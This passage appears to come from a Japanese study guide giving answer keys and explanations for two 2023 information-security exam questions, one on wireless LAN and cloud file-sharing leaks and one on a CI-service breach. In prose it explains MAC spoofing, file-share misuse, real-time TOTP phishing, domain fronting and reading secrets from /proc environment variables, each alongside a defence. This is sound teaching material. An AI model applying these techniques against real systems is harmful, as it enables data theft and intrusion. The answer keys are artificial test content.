従業員は日常業務で B サービスに HTTPS でアクセスしているので,業務 PC の Web ブラウザは B サービスの HSTS の指定を記憶している。偽 AP に接続して“http://”と入力しても,Web ブラウザは HTTPS で接続しに行き,TLS のハンドシェイクで偽サイトからサーバ証明書を受け取って検証する。検証に失敗するので,設問1(2)と同じエラーメッセージが出る。さらに HSTS の指定があるドメインでは,利用者が警告を無視して進むことも許されない。

字数の詰め方。“HTTP を HTTPS に置き換えてアクセスする”と“偽サイトからサーバ証明書を受け取る”の二段階を書く。解答例は 55 字。“HTTPS にリダイレクトされる”と書くと,偽サイト側がリダイレクトするように読めて誤りになる(置き換えるのは Web ブラウザ自身)。

設問2(1) 40字以内

本文中の下線②について,M 社外からファイルをダウンロード可能にするためのファイル共有機能の悪用方法を,40 字以内で具体的に答えよ。

解答例

  • 外部共有者のメールアドレスに自身の私用メールアドレスを指定する。
解説

本文の根拠

表1 B サービス

従業員が M 社以外の者と業務用のファイルを共有するには,B サービス上で,共有したいファイルの指定,外部の共有者のメールアドレスの入力及び上長承認申請を行い,上長が承認する。

表1 B サービス

外部の共有者は外部共有リンクにアクセスすることによって,B サービスにログインせずにファイルをダウンロード可能である。

〔従業員によるファイルの持出しについてのセキュリティ対策の確認〕

確認できていない上長もいるようです。

外部共有リンクは,申請時に入力した外部の共有者のメールアドレス宛てに自動で送られ,受け取った者は B サービスにログインせずにファイルをダウンロードできる。ダウンロードには M 社の接続元(a1.b1.c1.d1)の制限もかからない。

そこで従業員が,外部の共有者のメールアドレスとして自分の私用メールアドレスを入力して申請すれば,上長が宛先を確認せずに承認した場合,外部共有リンクが自分の私用メールに届き,M 社外からファイルをダウンロードできる。外部共有リンクは本人に知らされない仕組みだが,宛先を自分にすれば意味が無い。

字数の詰め方。“外部共有者のメールアドレスに”“自分の私用メールアドレスを指定する”を具体的に書く。解答例は 32 字。“上長の承認をすり抜ける”だけでは方法が具体的でない。

設問2(2) 解答欄1つ

本文中の e に入れる適切な字句を答えよ。

〔e〕解答例

  • MACアドレス
解説

本文の根拠

表1 AP-1〜5

従業員用無線 LAN だけに MAC アドレスフィルタリングが設定されており,事前に情報システム部で登録された業務 PC だけが接続できる。

方法 1

個人所有 PC の無線 LAN インタフェースの e を業務 PC の無線 LAN インタフェースの e に変更した上で,個人所有 PC を従業員用無線 LAN に接続し

従業員用無線 LAN は MAC アドレスフィルタリングで,登録された業務 PC の MAC アドレスだけを接続させている。MAC アドレスは無線 LAN のフレームに平文で載り,OS の設定などで容易に変更できるので,個人所有 PC の無線 LAN インタフェースの MAC アドレスを自分の業務 PC の MAC アドレスに変更すれば,フィルタリングを通過できる。e は“MAC アドレス”である。

従業員用無線 LAN は表4の項番2でインターネットへの HTTPS が許可され,送信元が a1.b1.c1.d1 に変換されるので,個人所有 PC から B サービスにログインしてファイルをダウンロードできる。業務 PC と違って情報漏えい対策ソフトの制限(ローカルディスクへの保存禁止など)も受けない。

間違えやすい点。“IP アドレス”は DHCP サーバから割り当てられるもので,接続の可否を決めていない。本文が“無線 LAN インタフェースの”と書いているのも,MAC アドレスを指す手掛かりである。

設問3(1)

本文中の下線③について,認証サーバが EAP で使う UDP 上のプロトコルを答えよ。

解答例

  • RADIUS
解説

本文の根拠

〔方法 1 と方法 2 についての対策の検討〕

方法 1 への対策については,従業員用無線 LAN の認証方式として EAP-TLS を選択し,③認証サーバを用意することにした。

IEEE 802.1X による無線 LAN の認証では,端末(サプリカント)と AP(オーセンティケータ)の間で EAP をやり取りし,AP は EAP のメッセージを認証サーバに中継する。AP と認証サーバの間で EAP を運ぶのに使うのが RADIUS(RFC 2865,EAP の運び方は RFC 3579)で,UDP 上で動作する(認証は通常ポート 1812)。答えは“RADIUS”である。

EAP-TLS は,端末と認証サーバが互いに証明書で認証する方式であり,認証サーバ(RADIUS サーバ)がクライアント証明書を検証する。共有の事前共有キー(WPA2-PSK)や MAC アドレスと違い,クライアント証明書の秘密鍵をもつ業務 PC だけが接続できる。

間違えやすい点。“EAP”そのものや“EAPOL”は端末と AP の間のプロトコルで,UDP 上のプロトコルではない。“TACACS+”は TCP 上で動き,無線 LAN の EAP の中継には使われない。

設問3(2) 解答欄1つ

本文中の f に入れる適切な字句を答えよ。

〔f〕解答例

  • 秘密鍵
解説

本文の根拠

〔方法 1 と方法 2 についての対策の検討〕

クライアント証明書とそれに対応する f は,どのようにしますか。

〔方法 1 と方法 2 についての対策の検討〕

f は g しておくために業務 PC の TPM に格納し,保護します。

クライアント証明書には利用者の公開鍵が記載されており,それに対応するのが秘密鍵である。EAP-TLS では,端末が TLS のハンドシェイクで秘密鍵を使って署名し,認証サーバは証明書の公開鍵でその署名を検証して,端末が秘密鍵をもっていることを確かめる。f は“秘密鍵”である。

証明書と公開鍵は公開されても困らない情報だが,秘密鍵が漏れると誰でも業務 PC になりすませる。だから Y さんは,秘密鍵を TPM に格納して保護すると答えている。

間違えやすい点。採点講評のとおり,“公開鍵”や“サーバ証明書”の誤答があった。TPM に入れて保護する必要があるのは,証明書と対になって秘密にしておく鍵の方である。

採点講評(IPA)

設問3(2)は,正答率がやや高かったが,“公開鍵”や“サーバ証明書”といった解答が一部に見られた。PKIは,様々なセキュリティ技術の基礎となる重要な技術であるので,どのような場面でどのように利用されているのか,よく理解しておいてほしい。

設問3(3) 解答欄1つ

本文中の g に入れる適切な字句を,20 字以内で答えよ。

〔g〕解答例

  • 業務PCから取り出せないように
解説

本文の根拠

表1 業務 PC

TPM(Trusted Platform Module)2.0 を搭載している。

〔方法 1 と方法 2 についての対策の検討〕

f は g しておくために業務 PC の TPM に格納し,保護します。

TPM は PC に搭載された耐タンパ性のあるセキュリティチップで,鍵を内部で生成・保管し,署名などの演算をチップの中で行う。TPM に格納した秘密鍵は,エクスポートできない設定にすれば,OS の管理者でもチップの外に取り出せない。

方法 1 は,個人所有 PC を業務 PC になりすませて従業員用無線 LAN に接続するものだった。秘密鍵がファイルとして業務 PC に置かれていれば,従業員がそれをコピーして個人所有 PC に入れ,EAP-TLS でも認証を通せてしまう。TPM に入れて業務 PC から取り出せないようにしておけば,その業務 PC でしか認証できない。g は“業務 PC から取り出せないように”である。

字数の詰め方。g の後には“しておくために”が続くので,“…ように”の形で 20 字以内に収める。解答例は 15 字。

設問3(4) 40字以内

本文中の下線④について,その理由を,40 字以内で答えよ。

解答例

  • EAP-TLSに必要な認証情報は,業務PCにしか格納できないから
解説

本文の根拠

〔方法 1 と方法 2 についての対策の検討〕

クライアント証明書は,CA サーバを新設して発行することにし,従業員が自身の業務 PC にインストールするのではなく,ディレクトリサーバの機能で業務 PC に格納します。

表1 ディレクトリサーバ

ディレクトリ機能に加え,ソフトウェア,クライアント証明書などを業務 PC にインストールする機能がある。

Y さんの格納方法は二つの点で方法 1 を防ぐ。第一に,クライアント証明書は従業員が自分でインストールするのではなく,ディレクトリサーバの機能で業務 PC に直接格納されるので,従業員は証明書と秘密鍵のファイルを手にする機会が無い。第二に,秘密鍵は TPM に格納されて業務 PC から取り出せない。

その結果,EAP-TLS の認証に必要なクライアント証明書と秘密鍵の組は業務 PC の中にしか存在せず,個人所有 PC に移すことができない。MAC アドレスを偽装しても,個人所有 PC は EAP-TLS の認証を通らず,従業員用無線 LAN に接続できない。S 氏が“問題ない”と述べたのはこのためである。

字数の詰め方。“EAP-TLS に必要な認証情報が”“業務 PC にしか格納できない”の二点を理由の形(…から)で書く。解答例は 32 字。

設問3(5) 70字以内

本文中の下線⑤について,変更内容を,70 字以内で答えよ。

解答例

  • 来客用無線LANからインターネットにアクセスする場合の送信元IPアドレスをa1.b1.c1.d1とは別のIPアドレスにする。
解説

本文の根拠

表1 B サービス

M 社の従業員に割り当てられた利用者 ID では,a1.b1.c1.d1 注1) からだけ,B サービスにログイン可能である。

表4 項番1

項番1:IF1,WAN-IF1,192.168.10.0/24,全て,HTTP,HTTPS,許可,有効。

表3 項番4

項番4:WAN-IF1,無効,VLAN1,1,a1.b1.c1.d1,255.255.255.248。

方法 2 が成り立つのは,来客用無線 LAN からインターネットへの通信の送信元が NAT で a1.b1.c1.d1 に変換され,B サービスから見て M 社の正規の接続元と同じに見えるからである。来客用無線 LAN(192.168.10.0/24)からの通信だけ,a1.b1.c1.d1 とは別のグローバル IP アドレスに変換するよう NAT の設定を変えれば,B サービスは従業員の利用者 ID でのログインを拒否する。

FW の WAN-IF1 のサブネットマスクは 255.255.255.248(/29)なので,同じサブネットには a1.b1.c1.d1 のほかにも割り当て可能なアドレスがあり,その一つを来客用に使うことが考えられる。従業員用無線 LAN とサーバネットワークの送信元は a1.b1.c1.d1 のまま残すので,業務での B サービスの利用には影響しない。

字数の詰め方。“来客用無線 LAN からインターネットにアクセスする場合の”と対象を絞り,“送信元 IP アドレスを a1.b1.c1.d1 とは別の IP アドレスにする”と変更内容を書く。解答例は 62 字。対象を絞らずに書くと,従業員も B サービスを使えなくなる。

設問3(6) 解答欄1つ

本文中の h に入れる適切な字句を答えよ。

〔h〕解答例

  • DNS
解説

本文の根拠

表4 項番4

項番4:IF1,IF1,192.168.10.0/24,192.168.30.0/24,DNS,許可,無効。

表1 DNS サーバ

業務 PC,来客持込端末が利用する DNS キャッシュサーバである。

〔方法 1 と方法 2 についての対策の検討〕

D ルータでは,DHCP サーバ機能及び DNS キャッシュサーバ機能を有効にする。

これまで来客持込端末は,M 社の DHCP サーバから IP アドレスを割り当てられ(DHCP は FW の DHCP リレー機能で中継),M 社の DNS サーバ(DNS キャッシュサーバ)で名前解決していた。表4の項番4は,来客用無線 LAN からサーバネットワークへの DNS の通信を許可するルールである。

D ルータが DHCP サーバ機能と DNS キャッシュサーバ機能を提供し,来客持込端末は M 社のネットワークを通らずに D サービスでインターネットに出るので,DHCP サーバと DNS サーバへの通信は不要になる。h は“DNS”である。

間違えやすい点。空欄の後ろには“サーバ”が続くので,入れるのは構成要素名“DNS サーバ”の“DNS”の部分だけである。DHCP サーバは文中で既に挙がっている。

設問3(7) 解答欄2つ

本文中の下線⑥について,表3及び表4の削除すべき項番を,それぞれ全て答えよ。

〔表3〕解答例

  • 1

〔表4〕解答例

  • 1,4
解説

本文の根拠

表3 項番1

項番1:IF1,有効,VLAN10,10,192.168.10.1,255.255.255.0。

表4 項番1

項番1:IF1,WAN-IF1,192.168.10.0/24,全て,HTTP,HTTPS,許可,有効。

表4 項番4

項番4:IF1,IF1,192.168.10.0/24,192.168.30.0/24,DNS,許可,無効。

D サービスの導入で,来客持込端末は来客用無線 LAN(192.168.10.0/24,VLAN10)を使わなくなり,プロジェクターも HDMI ケーブルでの接続に変わる。業務 PC も来客用無線 LAN を使う必要はない。表5の来客用無線 LAN の設定(設定1)を削除するのに合わせ,FW から VLAN10 に関する設定をすべて消す。

表3では,VLAN10 のインタフェース(項番1)が不要になる。表4では,送信元が 192.168.10.0/24 のルール,すなわちインターネットへの HTTP・HTTPS を許可する項番1と,DNS サーバへの DNS を許可する項番4が不要になる。項番7は全通信を拒否する既定のルールなので残す。答えは表3が 1,表4が 1,4 である。

間違えやすい点。表4の項番1だけでなく,宛先がサーバネットワークの項番4も 192.168.10.0/24 を送信元とする。“全て”削除するよう求められているので,送信元・宛先の両方の列を確認する。

採点講評(IPA)

設問3(7)は,正答率が高かった。ファイアウォールの全てのフィルタリング設定と無線LAN環境の見直しに伴う影響を理解して解答する必要があったが,適切に理解されていた。

出典:令和5年度 秋期 情報処理安全確保支援士試験 午後 問2(表記を一部改変)

問3 継続的インテグレーションサービスのセキュリティ

継続的インテグレーションサービスのセキュリティに関する次の記述を読んで,設問に答えよ。

N 社は,N サービスという継続的インテグレーションサービスを提供している従業員 400 名の事業者である。N サービスの利用者(以下,N サービス利用者という)は,バージョン管理システム(以下,VCS という)にコミットしたソースコードを自動的にコンパイルするなどの目的で,N サービスを利用する。VCS では,リポジトリという単位でソースコードを管理する。N サービスの機能の概要を表1に示す。

機能名,概要の2列の表。ソースコード取得機能:リポジトリから最新のソースコードを取得する機能である。N サービス利用者は,新たなリポジトリに対して N サービスの利用を開始するときに,そのリポジトリを管理する VCS のホスト名及びリポジトリ固有の認証用 SSH 鍵を登録する。ソースコードの取得は,VCS から新たなソースコードのコミットの通知を HTTPS で受け取ると開始される。コマンド実行機能:ソースコード取得機能がリポジトリからソースコードを取得した後に,リポジトリのルートディレクトリにある ci.sh という名称のシェルスクリプト(以下,ビルドスクリプトという)を実行する機能である。N サービス利用者は,例えば,コンパイラのコマンドや,指定された Web サーバにコンパイル済みのバイナリコードをアップロードするコマンドを,ビルドスクリプトに記述する。シークレット機能:ビルドスクリプトを実行するシェルに設定される環境変数を,N サービス利用者が登録する機能である。登録された情報はシークレットと呼ばれる。N サービス利用者は,例えば,指定された Web サーバに接続するために必要な API キーを登録することによって,ビルドスクリプト中に API キーを直接記載しないようにすることができる。
表1 N サービスの機能の概要(抜粋)

N サービスは C 社のクラウド基盤で稼働している。N サービスの構成要素の概要を表2に示す。

N サービスの構成要素,概要の2列の表。フロントエンド:VCS から新たなソースコードのコミットの通知を受け取るための API を備えた Web サイトである。ユーザーデータベース:各 N サービス利用者が登録した VCS のホスト名,各リポジトリ固有の認証用 SSH 鍵,及びシークレットを保存する。読み書きはフロントエンドからだけに許可されている。バックエンド:Linux をインストールしており,ソースコード取得機能及びコマンド実行機能を提供する常駐プログラム(以下,CI デーモンという)が稼働する。インターネットへの通信が可能である。バックエンドは 50 台ある。仮想ネットワーク:フロントエンド,ユーザーデータベース及びバックエンド 1〜50 を互いに接続する。
表2 N サービスの構成要素の概要(抜粋)

フロントエンドは,ソースコードのコミットの通知を受け取ると図1の処理を行う。

枠で囲んだ処理の手順(3項目)。1. 通知を基に N サービス利用者とリポジトリを特定し,その N サービス利用者が登録した VCS のホスト名,各リポジトリ固有の認証用 SSH 鍵,及びシークレットをユーザーデータベースから取得する。2. バックエンドを一つ選択する。3. 2. で選択したバックエンドの CI デーモンに 1. で取得した情報を送信し,処理命令を出す。
図1 フロントエンドが行う処理

CI デーモンは,処理命令を受け取ると,特権を付与せずに新しいコンテナを起動し,当該コンテナ内でソースコード取得機能とコマンド実行機能を順に実行する。

ビルドスクリプトには,利用者が任意のコマンドを記述できるので,不正なコマンドを記述されてしまうおそれがある。さらに,不正なコマンドの処理の中には,①コンテナによる仮想化の脆弱性を悪用しなくても成功してしまうものがある。そこで,バックエンドには管理者権限で稼働する監視ソフトウェア製品 X を導入している。製品 X は,バックエンド上のプロセスを監視し,プロセスが不正な処理を実行していると判断した場合は,当該プロセスを停止させる。

C 社は,C 社のクラウド基盤を管理するための Web サイト(以下,クラウド管理サイトという)も提供している。N 社では,クラウド管理サイト上で,クラウド管理サイトのアカウントの管理,N サービスの構成要素の設定変更,バックエンドへの管理者権限でのアクセス,並びにクラウド管理サイトの認証ログの監視をしている。N 社では,C 社が提供するスマートフォン用アプリケーションソフトウェア(以下,スマートフォン用アプリケーションソフトウェアをアプリという)に表示される,時刻を用いたワンタイムパスワード(TOTP)を,クラウド管理サイトへのログイン時に入力するように設定している。

N 社では,オペレーション部がクラウド管理サイト上で N サービスの構成要素の設定及び管理を担当し,セキュリティ部がクラウド管理サイトの認証ログの監視を担当している。

〔N 社のインシデントの発生と対応〕

1 月 4 日 11 時,クラウド管理サイトの認証ログを監視していたセキュリティ部の H さんは,同日 10 時にオペレーション部の U さんのアカウントで国外の IP アドレスからクラウド管理サイトにログインがあったことに気付いた。

H さんが U さんにヒアリングしたところ,U さんは社内で同日 10 時にログインを試み,一度失敗したとのことであった。U さんは,同日 10 時前に電子メール(以下,メールという)を受け取っていた。メールにはクラウド管理サイトからの通知だと書かれていた。U さんはメール中の URL を開き,クラウド管理サイトだと思ってログインを試みていた。H さんがそのメールを確認したところ,URL 中のドメイン名はクラウド管理サイトのドメイン名とは異なっており,U さんがログインを試みたのは偽サイトだった。H さんは,同日 10 時の国外 IP アドレスからのログインは②攻撃者による不正ログインだったと判断した。

H さんは,初動対応としてクラウド管理サイトの U さんのアカウントを一時停止した後,調査を開始した。U さんのアカウントの権限を確認したところ,フロントエンド及びバックエンドの管理者権限があったが,それ以外の権限はなかった。

まずフロントエンドを確認すると,Web サイトのドキュメントルートに“/.well-known/pki-validation/”ディレクトリが作成され,英数字が羅列された内容のファイルが作成されていた。そこで,③RFC 9162 に規定された証明書発行ログ中の N サービスのドメインのサーバ証明書を検索したところ,正規のもののほかに,N 社では利用実績のない認証局 R が発行したものを発見した。

バックエンドのうち 1 台では,管理者権限をもつ不審なプロセス(以下,プロセス Y という)が稼働していた(以下,プロセス Y が稼働していたバックエンドを被害バックエンドという)。被害バックエンドのその時点のネットワーク通信状況を確認すると,プロセス Y は特定の CDN 事業者の IP アドレスに,HTTPS で多量のデータを送信していた。TLS の Server Name Indication(SNI)には,著名な OSS 配布サイトのドメイン名が指定されており,製品 X では,安全な通信だと判断されていた。

詳しく調査するために,TLS 通信ライブラリの機能を用いて,それ以降に発生するプロセス Y の TLS 通信を復号したところ,HTTP Host ヘッダーでは別のドメイン名が指定されていた。このドメイン名は,製品 X の脅威データベースに登録された要注意ドメインであった。プロセス Y は,④監視ソフトウェアに検知されないように SNI を偽装していたと考えられた。TLS 通信の内容には被害バックエンド上のソースコードが含まれていた。H さんはクラウド管理サイトを操作して被害バックエンドを一時停止した。H さんは,⑤プロセス Y がシークレットを取得したおそれがあると考えた。

H さんの調査結果を受けて,N 社は同日,次を決定した。

H さんは図2に示す事後処理と対策を行うことにした。

枠で囲んだ事後処理と対策(4項目)。1. フロントエンド及び全てのバックエンドを再構築する。2. 認証局 R に対し,N サービスのドメインのサーバ証明書が勝手に発行されていることを伝え,その失効を申請する。3. 偽サイトでログインを試みてしまっても,クラウド管理サイトに不正ログインされることのないよう,クラウド管理サイトにログインする際の認証を⑥WebAuthn(Web Authentication)を用いた認証に切り替える(“WebAuthn(Web Authentication)を用いた認証”に下線⑥が付いている)。4. N サービスのドメインのサーバ証明書を発行できる認証局を限定するために,N サービスのドメインの権威 DNS サーバに,N サービスのドメイン名に対応する [ a ] レコードを設定する。
図2 事後処理と対策(抜粋)

〔N 社の顧客での対応〕

N サービスの顧客企業の一つに,従業員 1,000 名の資金決済事業者である P 社がある。P 社は,決済用のアプリ(以下,P アプリという)を提供しており,スマートフォン OS 開発元の J 社が運営するアプリ配信サイトである J ストアを通じて,P アプリの利用者(以下,P アプリ利用者という)に配布している。P 社は N サービスを,最新版ソースコードのコンパイル及び J ストアへのコンパイル済みアプリのアップロードのために利用している。P 社には開発部及び運用部がある。

J ストアへのアプリのアップロードは,J 社の契約者を特定するための認証用 API キーを HTTP ヘッダーに付加し,J ストアの REST API を呼び出して行う。認証用 API キーは J 社が発行し,契約者だけが J 社の Web サイトから取得及び削除できる。また,J ストアは,アップロードされる全てのアプリについて,J 社が運営する認証局からのコードサイニング証明書の取得と,対応する署名鍵によるコード署名の付与を求めている。J ストアのアプリを実行するスマートフォン OS は,各アプリを起動する前にコード署名の有効性を検証しており,検証に失敗したらアプリを起動しないようにしている。

P 社は,N サービスのソースコード取得機能に,P アプリのソースコードを保存している VCS のホスト名とリポジトリの認証用 SSH 鍵を登録している。N サービスのシークレット機能には,表3に示す情報を登録している。

シークレット名,値の説明の2列の表。APP_SIGN_KEY:コード署名の付与に利用する署名鍵とコードサイニング証明書。STORE_API_KEY:J ストアにアプリをアップロードするための認証用 API キー。
表3 P 社が N サービスのシークレット機能に登録している情報

P アプリのビルドスクリプトには,図3に示すコマンドが記述されている。

枠で囲んだコマンドの説明(3項目)。1. コンパイラのコマンド。2. 生成されたバイナリコードに APP_SIGN_KEY を用いてコード署名を付与するコマンド。3. STORE_API_KEY を用いて,署名済みのバイナリコードを J ストアにアップロードするコマンド。
図3 ビルドスクリプトに記述されているコマンド

1 月 4 日,P 社運用部の K さんが N 社からの通知を受信した。それによると,ソースコード及びシークレットが漏えいしたおそれがあるとのことだった。K さんは,⑦P アプリ利用者に被害が及ぶ攻撃が行われることを予想し,すぐに二つの対応を開始した。

K さんは,一つ目の対応として,⑧漏えいしたおそれがあるので,STORE_API_KEY として登録されていた認証用 API キーに必要な対応を行った。また,二つ目の対応として,APP_SIGN_KEY として登録されていたコードサイニング証明書について認証局に失効を申請するとともに,新たな鍵ペアを生成し,コードサイニング証明書の発行申請及び受領を行った。鍵ペア生成時,N サービスが一時停止しており,鍵ペアの保存に代替手段が必要になった。FIPS 140-2 Security Level 3 の認証を受けたハードウェアセキュリティモジュール(HSM)は,⑨コード署名を付与する際にセキュリティ上の利点があるので,それを利用することにした。さらに,二つの対応とは別に,リポジトリの認証用 SSH 鍵を無効化した。

その後,開発部と協力しながら,P 社内の PC でソースコードをコンパイルし,生成されたバイナリコードに新たなコード署名を付与した。J ストアへの P アプリのアップロード履歴を確認したが,異常はなかった。新規の認証用 API キーを取得し,署名済みのバイナリコードを J ストアにアップロードするとともに,⑩K さんの二つの対応によって P アプリ利用者に生じているかもしれない影響,及びそれを解消するために P アプリ利用者がとるべき対応について告知した。さらに,外部委託先である N 社に起因するインシデントとして関係当局に報告した。

出題趣旨(IPA)

クラウドサービスが広く浸透している。様々なクラウドサービスの活用は,組織に多くの利便性をもたらす一方で,クラウドサービスで発生したインシデントが,自組織にも影響を及ぼし得る。このようなインシデントが発生した場合,迅速に状況を把握し,影響を考慮して対処することが重要である。本問では,継続的インテグレーションサービスを提供する企業とその利用企業におけるインシデント対応を題材に,攻撃の流れと波及し得る影響を推測し,対策を立案する能力を問う。

採点講評(問全体・IPA)

問3では,継続的インテグレーションサービスを提供する企業とその利用企業におけるセキュリティインシデント対応を題材に,クラウドサービスを使ったシステムで起こりうる攻撃手法とその防御について出題した。全体として正答率は平均的であった。

設問と解答例

設問1

本文中の下線①について,該当するものはどれか。解答群の中から全て選び,記号で答えよ。解答群:ア(CI デーモンのプロセスを中断させる。),イ(いずれかのバックエンド上の全プロセスを列挙して攻撃者に送信する。),ウ(インターネット上の Web サーバに不正アクセスを試みる。),エ(攻撃者サイトから命令を取得し,得られた命令を実行する。),オ(ほかの N サービス利用者のビルドスクリプトの出力を取得する。)

解答例

  • ウ,エ
解説

本文の根拠

本文(表2・図1の後)

CI デーモンは,処理命令を受け取ると,特権を付与せずに新しいコンテナを起動し,当該コンテナ内でソースコード取得機能とコマンド実行機能を順に実行する。

表2 バックエンド

インターネットへの通信が可能である。

本文(表2・図1の後)

ビルドスクリプトには,利用者が任意のコマンドを記述できるので,不正なコマンドを記述されてしまうおそれがある。

コンテナは,ホスト(バックエンド)の OS のカーネルを共有しながら,プロセス・ファイルシステム・ネットワークなどの見える範囲を名前空間で分ける仕組みである。特権を付与されていないコンテナの中のプロセスからは,同じホスト上のほかのコンテナやホスト側のプロセスは見えず,操作もできない。それらに手を出すには,コンテナの分離を破る脆弱性(コンテナエスケープ)が必要になる。

一方,コンテナの中からでもできることがある。バックエンドはインターネットへの通信が可能なので,ビルドスクリプトに書いたコマンドで,インターネット上の Web サーバに不正アクセスを試みること(ウ)や,攻撃者のサイトから命令を取得して実行すること(エ)は,コンテナ内の通常の権限で成功する。よって答えはウとエである。

ほかの選択肢。ア(CI デーモンのプロセスを中断させる)とイ(バックエンド上の全プロセスを列挙する)は,コンテナの外にあるホストのプロセスへの操作であり,オ(ほかの N サービス利用者のビルドスクリプトの出力を取得する)は,別のコンテナの中身への操作である。いずれも分離を破らないとできない。

採点講評(IPA)

設問1は,正答率がやや低かった。コンテナにおけるシステムの動作は,仮想化技術の基本である。どのような権限や仕組みによって実行されるか,コンテナを使ったシステムの構成及び特性をよく理解してほしい。

設問2(1) 50字以内

本文中の下線②について,攻撃者による不正ログインの方法を,50 字以内で具体的に答えよ。

解答例

  • 偽サイトに入力されたTOTPを入手し,そのTOTPが有効な間にログインした。
解説

本文の根拠

本文

時刻を用いたワンタイムパスワード(TOTP)を,クラウド管理サイトへのログイン時に入力するように設定している。

〔N 社のインシデントの発生と対応〕

U さんは社内で同日 10 時にログインを試み,一度失敗したとのことであった。

〔N 社のインシデントの発生と対応〕

U さんがログインを試みたのは偽サイトだった。

クラウド管理サイトは ID・パスワードに加えて TOTP を要求している。TOTP(RFC 6238)は時刻から計算される使い捨ての値で,通常 30 秒程度しか有効でない。攻撃者は事前に盗んだパスワードだけではログインできない。

U さんが偽サイトにログインを試みたのも,国外 IP アドレスからのログインがあったのも,同じ 10 時である。偽サイトは,U さんが入力した ID・パスワード・TOTP をその場で攻撃者に渡し,攻撃者は TOTP が有効なうちに本物のクラウド管理サイトにログインした(リアルタイムフィッシング,中間者型のフィッシング)。偽サイトでは U さんに“失敗”を見せたので,U さんは一度失敗しただけだと思っている。

字数の詰め方。“偽サイトに入力された TOTP を入手する”と“TOTP が有効な間にログインする”の二点を書く。解答例は 38 字。“パスワードを盗んだ”だけでは,TOTP がある環境で不正ログインが成功した理由にならない。

設問2(2)

本文中の下線③について,RFC 9162 で規定されている技術を,解答群の中から選び,記号で答えよ。解答群:ア(Certificate Transparency),イ(HTTP Public Key Pinning),ウ(HTTP Strict Transport Security),エ(Registration Authority)

解答例

  • ア
解説

本文の根拠

〔N 社のインシデントの発生と対応〕

Web サイトのドキュメントルートに“/.well-known/pki-validation/”ディレクトリが作成され,英数字が羅列された内容のファイルが作成されていた。

〔N 社のインシデントの発生と対応〕

③RFC 9162 に規定された証明書発行ログ中の N サービスのドメインのサーバ証明書を検索したところ,正規のもののほかに,N 社では利用実績のない認証局 R が発行したものを発見した。

RFC 9162 は Certificate Transparency(CT)バージョン 2.0 の仕様である(RFC 6962 を置き換えた)。CT では,認証局が発行したサーバ証明書を誰でも検証できる追記型の公開ログに登録し,ドメインの所有者はそのログを検索して,自分のドメインに対して身に覚えのない証明書が発行されていないかを確かめられる。答えはアである。

攻撃者は,不正に得たフロントエンドの管理者権限で“/.well-known/pki-validation/”にファイルを置いた。これは,認証局がドメインの管理権限を確かめるとき,指定した内容のファイルを Web サイトの決まった場所に置かせる確認方法に使われるディレクトリである。こうして攻撃者は認証局 R から N サービスのドメインのサーバ証明書を取得し,H さんは CT ログでそれを見つけた。

ほかの選択肢。イの HTTP Public Key Pinning は公開鍵をピン留めする仕組み(RFC 7469,現在は廃止),ウの HSTS は HTTPS の強制(RFC 6797),エの Registration Authority は PKI で登録業務を行う機関で,どれも証明書発行のログではない。

設問2(3)

本文中の下線④について,このような手法の名称を,解答群の中から選び,記号で答えよ。解答群:ア(DNS スプーフィング),イ(ドメインフロンティング),ウ(ドメイン名ハイジャック),エ(ランダムサブドメイン攻撃)

解答例

  • イ
解説

本文の根拠

〔N 社のインシデントの発生と対応〕

TLS の Server Name Indication(SNI)には,著名な OSS 配布サイトのドメイン名が指定されており,製品 X では,安全な通信だと判断されていた。

〔N 社のインシデントの発生と対応〕

HTTP Host ヘッダーでは別のドメイン名が指定されていた。このドメイン名は,製品 X の脅威データベースに登録された要注意ドメインであった。

CDN は多数のドメインを同じ IP アドレス群で配信しており,TLS のハンドシェイクで平文で送られる SNI で証明書を選び,暗号化された HTTP の Host ヘッダーで配信先のサイトを決める。この二つに別のドメイン名を書くと,通信を外から見る監視装置には SNI の正規のドメイン名だけが見え,実際の宛先(Host ヘッダーのドメイン)は隠れる。この手法をドメインフロンティングという。答えはイである。

プロセス Y は,SNI に著名な OSS 配布サイトのドメイン名を書いて製品 X に安全な通信と判断させ,Host ヘッダーで要注意ドメインを指定してデータを送っていた。TLS を復号するまで製品 X は気付けなかった。

ほかの選択肢。ア(DNS スプーフィング)は DNS の応答を偽造して名前解決をすり替える攻撃,ウ(ドメイン名ハイジャック)はドメイン名の登録や権威 DNS サーバの設定を乗っ取る攻撃,エ(ランダムサブドメイン攻撃)はランダムなサブドメインの問合せを大量に送って権威 DNS サーバに負荷をかける DoS 攻撃である。

設問2(4) 35字以内

本文中の下線⑤について,プロセス Y がシークレットを取得するのに使った方法として考えられるものを,35 字以内で答えよ。

解答例

  • /procファイルシステムから環境変数を読み取った。
解説

本文の根拠

表1 シークレット機能

ビルドスクリプトを実行するシェルに設定される環境変数を,N サービス利用者が登録する機能である。

〔N 社のインシデントの発生と対応〕

バックエンドのうち 1 台では,管理者権限をもつ不審なプロセス(以下,プロセス Y という)が稼働していた

表2 バックエンド

Linux をインストールしており,ソースコード取得機能及びコマンド実行機能を提供する常駐プログラム(以下,CI デーモンという)が稼働する。

シークレットは,ビルドスクリプトを実行するシェルの環境変数として渡される。Linux では,各プロセスの環境変数が /proc ファイルシステムの /proc/<プロセス ID>/environ から読める。コンテナの中のプロセスもホストから見ればバックエンド上のプロセスなので,ホスト側で管理者権限をもつプロセス Y は,全てのプロセスの /proc/<プロセス ID>/environ を読み,実行中のビルドスクリプトのシェルに設定されたシークレットを取得できる。

プロセス Y は攻撃者が U さんのアカウント(バックエンドの管理者権限をもつ)で被害バックエンドに仕込んだもので,コンテナの外で管理者権限で動いている。設問1と違い,コンテナの分離を破る必要がない。

字数の詰め方。“/proc ファイルシステムから”“環境変数を読み取った”の二点を書く。解答例は 26 字。“メモリを読み取った”のような書き方は,シークレットが環境変数として渡されることを使えていない。

設問2(5) 40字以内

図2中の下線⑥について,仮に,利用者が偽サイトでログインを試みてしまっても,攻撃者は不正ログインできない。不正ログインを防ぐ WebAuthn の仕組みを,40 字以内で答えよ。

解答例

  • 認証に用いる情報に含まれるオリジン及び署名をサーバが確認する仕組み
解説

本文の根拠

図2 3.

偽サイトでログインを試みてしまっても,クラウド管理サイトに不正ログインされることのないよう,クラウド管理サイトにログインする際の認証を⑥WebAuthn(Web Authentication)を用いた認証に切り替える

〔N 社のインシデントの発生と対応〕

URL 中のドメイン名はクラウド管理サイトのドメイン名とは異なっており

